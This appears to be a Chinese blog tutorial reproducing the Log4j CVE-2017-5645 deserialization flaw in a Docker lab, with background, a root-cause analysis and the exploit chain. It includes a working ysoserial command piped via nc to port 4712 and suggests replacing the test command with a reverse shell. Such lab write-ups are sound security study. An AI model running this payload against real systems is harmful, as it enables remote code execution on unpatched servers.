Log4j-CVE-2017-5645漏洞复现
漏洞描述:
背景:在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句(如System.out.println或System.err.println),这些打印语句可以输出到控制台或文件中,更好的做法是构造一个日志操作类(或直接使用成熟的日志框架,如Log4j、SLF4J等)来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。
Apache Log4j是Apache的一个开源项目,它是一个用于Java的日志记录库,其支持启动远程日志服务器。通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。Log4j在工程中可以易用,方便等优势代替了 System.out 等打印语句,它是 Java 下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。
Apache Log4j 存在一个反序列化漏洞(CVE-2017-5645)。当Log4j配置为使用TcpSocketServer或UdpSocketServer接收日志事件时,攻击者可以通过发送一个特别制作的二进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收器对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
影响组件:org.apache.logging.log4j.core.net.server.TcpSocketServer和UdpSocketServer。
影响版本:Apache Log4j 2.8.2之前的2.x版本
漏洞复现:
通过docker启动靶场后,就会在4712端口启用TCPServer服务。
在攻击机使用ysoserial工具生成工具语句如下:
payload:java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/ZyonSuccess" | nc <靶机IP> 4712
然后进入docker容器里的/tmp文件看看有没有生成ZyonSuccess
#看一下容器ID
docker ps
#进入到docker容器里面
docker exec -it [容器ID] /bin/bash
#进入到tmp目录下
cd /tmp
发现有我写的ZyonSuccess。如下图:

可以看到成功执行了命令。可以把“touch /tmp/ZyonSuccess”换成反弹shell的命令。
漏洞分析:
利用链触发:
攻击者构造恶意Payload
└─► 通过TCP/UDP发送至Log4j开放的Socket端口(如4712)
└─► TcpSocketServer启动新线程处理Socket数据
└─► SocketHandler.run()解析请求(未验证数据来源)
└─► ObjectInputStreamLogEventBridge.logEvents()直接调用readObject()
└─► 反序列化触发Gadget链(如CommonsCollections5)
└─► Runtime.exec()执行任意代码(如反弹Shell)
以TCP为例的流程图如下:

关键组件:SocketServer / TCPServer(默认监听端口 4712/TCP)
漏洞触发的根本原因:
①不可信数据的反序列化:TcpSocketServer/UdpSocketServer直接使用ObjectInputStream反序列化输入数据,未验证来源和内容。
②Java反序列化机制缺陷:Java默认反序列化会执行对象的readObject()方法。攻击者可构造恶意类(如利用 Apache Commons Collections 反序列化链,像InvokerTransformer、Gadget链等),在服务端反序列化时触发代码执行。
推荐使用ysoserial工具: https://github.com/frohoff/ysoserial

浙公网安备 33010602011771号